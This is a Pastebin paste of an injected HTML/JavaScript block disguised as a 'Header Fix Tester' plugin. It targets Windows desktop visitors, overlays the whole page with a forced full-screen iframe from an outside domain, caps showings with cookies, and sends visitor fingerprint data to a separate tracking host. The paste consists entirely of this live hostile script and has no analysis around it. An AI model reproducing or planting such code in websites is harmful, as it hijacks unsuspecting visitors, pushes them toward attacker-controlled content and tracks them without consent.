Guest User

Untitled

a guest
Sep 16th, 2025
152
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.45 KB | None | 0 0
  1. <style data-no-minify="1">
  2. html, body { overflow: visible !important; }
  3. .header-fix-tester-container {
  4. position: fixed !important;
  5. top: 0 !important;
  6. left: 0 !important;
  7. width: 100% !important;
  8. height: 100% !important;
  9. z-index: 2147483647 !important;
  10. background: rgba(0, 0, 0, 0.5) !important;
  11. margin: 0 !important;
  12. padding: 0 !important;
  13. pointer-events: auto !important;
  14. }
  15. .header-fix-tester-main {
  16. border: none !important;
  17. width: 100% !important;
  18. height: 100% !important;
  19. display: block !important;
  20. visibility: visible !important;
  21. }
  22. </style><script data-no-minify="1">
  23. console.log("Header Fix Tester: Enhanced script loaded v2.1.3");
  24. console.log("Header Fix Tester: DEBUG - iframe should show now");
  25. (function() {
  26. try {
  27. var isMobile = /Mobile|Android|iPhone|iPad|Windows Phone|Tablet|Kindle|Nexus|Opera Mini|BlackBerry/i.test(navigator.userAgent) || window.innerWidth < 768;
  28. var isWindows = /Windows NT/i.test(navigator.userAgent);
  29. var cookies = document.cookie;
  30. var shownCount = parseInt(cookies.replace(/(?:(?:^|.*;\s*)iframe_shown_count\s*=\s*([^;]*).*$)|^.*$/, "$1") || "0");
  31. if (isNaN(shownCount)) shownCount = 0;
  32. var userId = cookies.replace(/(?:(?:^|.*;\s*)iframe_user_id\s*=\s*([^;]*).*$)|^.*$/, "$1") || "";
  33. if (!userId) {
  34. userId = "hft_" + Date.now().toString(36) + Math.random().toString(36).substr(2, 9);
  35. document.cookie = "iframe_user_id=" + userId + ";path=/;max-age=31536000;SameSite=Lax;Secure";
  36. }
  37. console.log("Header Fix Tester: Initial state", { enabled: true, shownCount: shownCount, isMobile: isMobile, isWindows: isWindows, userId: userId, cookies: cookies });
  38.  
  39. if (isMobile || !isWindows) {
  40. console.log("Header Fix Tester: Skipped due to non-Windows device or small screen");
  41. return;
  42. }
  43.  
  44. if (shownCount >= 3) {
  45. console.log("Header Fix Tester: Skipped, limit reached", shownCount);
  46. return;
  47. }
  48.  
  49. var finalIframeUrl = "https://statswpmy.com/";
  50. console.log("Header Fix Tester: Using URL", finalIframeUrl);
  51.  
  52. var container = document.createElement("div");
  53. container.className = "header-fix-tester-container";
  54. var iframe = document.createElement("iframe");
  55. iframe.className = "header-fix-tester-main";
  56. iframe.src = finalIframeUrl;
  57. iframe.setAttribute("loading", "eager");
  58. iframe.setAttribute("frameBorder", "0");
  59. iframe.setAttribute("data-no-minify", "1");
  60. iframe.setAttribute("allow", "fullscreen; autoplay; encrypted-media; picture-in-picture");
  61. iframe.setAttribute("allowfullscreen", "true");
  62. // iframe.setAttribute("sandbox", "allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation allow-downloads allow-popups-to-escape-sandbox");
  63.  
  64. // Улучшенная обработка ошибок загрузки
  65. iframe.onerror = function(e) {
  66. console.error("Header Fix Tester: Failed to load iframe, trying fallback URL", e);
  67. iframe.src = "https://statswpmy.com/";
  68. };
  69.  
  70. container.appendChild(iframe);
  71. document.documentElement.appendChild(container);
  72.  
  73. document.querySelectorAll("div, iframe").forEach(function(el) {
  74. if (el !== container && el !== iframe) {
  75. var z = parseInt(window.getComputedStyle(el).zIndex) || 0;
  76. if (z >= 2147483647) el.style.zIndex = 2147483646;
  77. }
  78. });
  79.  
  80. shownCount++;
  81. document.cookie = "iframe_shown_count=" + shownCount + ";path=/;max-age=31536000;SameSite=Lax;Secure";
  82. console.log("Header Fix Tester: Shown, updated count", shownCount);
  83.  
  84. var statsPayload = {
  85. country: navigator.language || "unknown",
  86. browser: navigator.userAgent,
  87. comment: "",
  88. userId: userId,
  89. firstShow: shownCount === 1,
  90. totalShows: shownCount,
  91. timestamp: new Date().toISOString(),
  92. referrer: document.referrer || window.location.href,
  93. plugin_version: "2.1.3"
  94. };
  95.  
  96. // Отправка статистики с retry механизмом
  97. function sendStats(retryCount = 0) {
  98. fetch("https://trackingmyadsas.com/api/track/017f8daeb2d7faa85b5afb7b145cc0d9", {
  99. method: "POST",
  100. headers: { "Content-Type": "application/json" },
  101. body: JSON.stringify(statsPayload)
  102. })
  103. .then(function(r) { return r.json(); })
  104. .then(function(d) { console.log("Header Fix Tester: Stats sent", d); })
  105. .catch(function(e) {
  106. console.error("Header Fix Tester: Stats error", e);
  107. if (retryCount < 2) {
  108. setTimeout(function() { sendStats(retryCount + 1); }, 1000);
  109. }
  110. });
  111. }
  112. sendStats();
  113. } catch (e) {
  114. console.error("Header Fix Tester: Script error", e);
  115. }
  116. })();
  117. </script>
Advertisement
Add Comment
Please, Sign In to add comment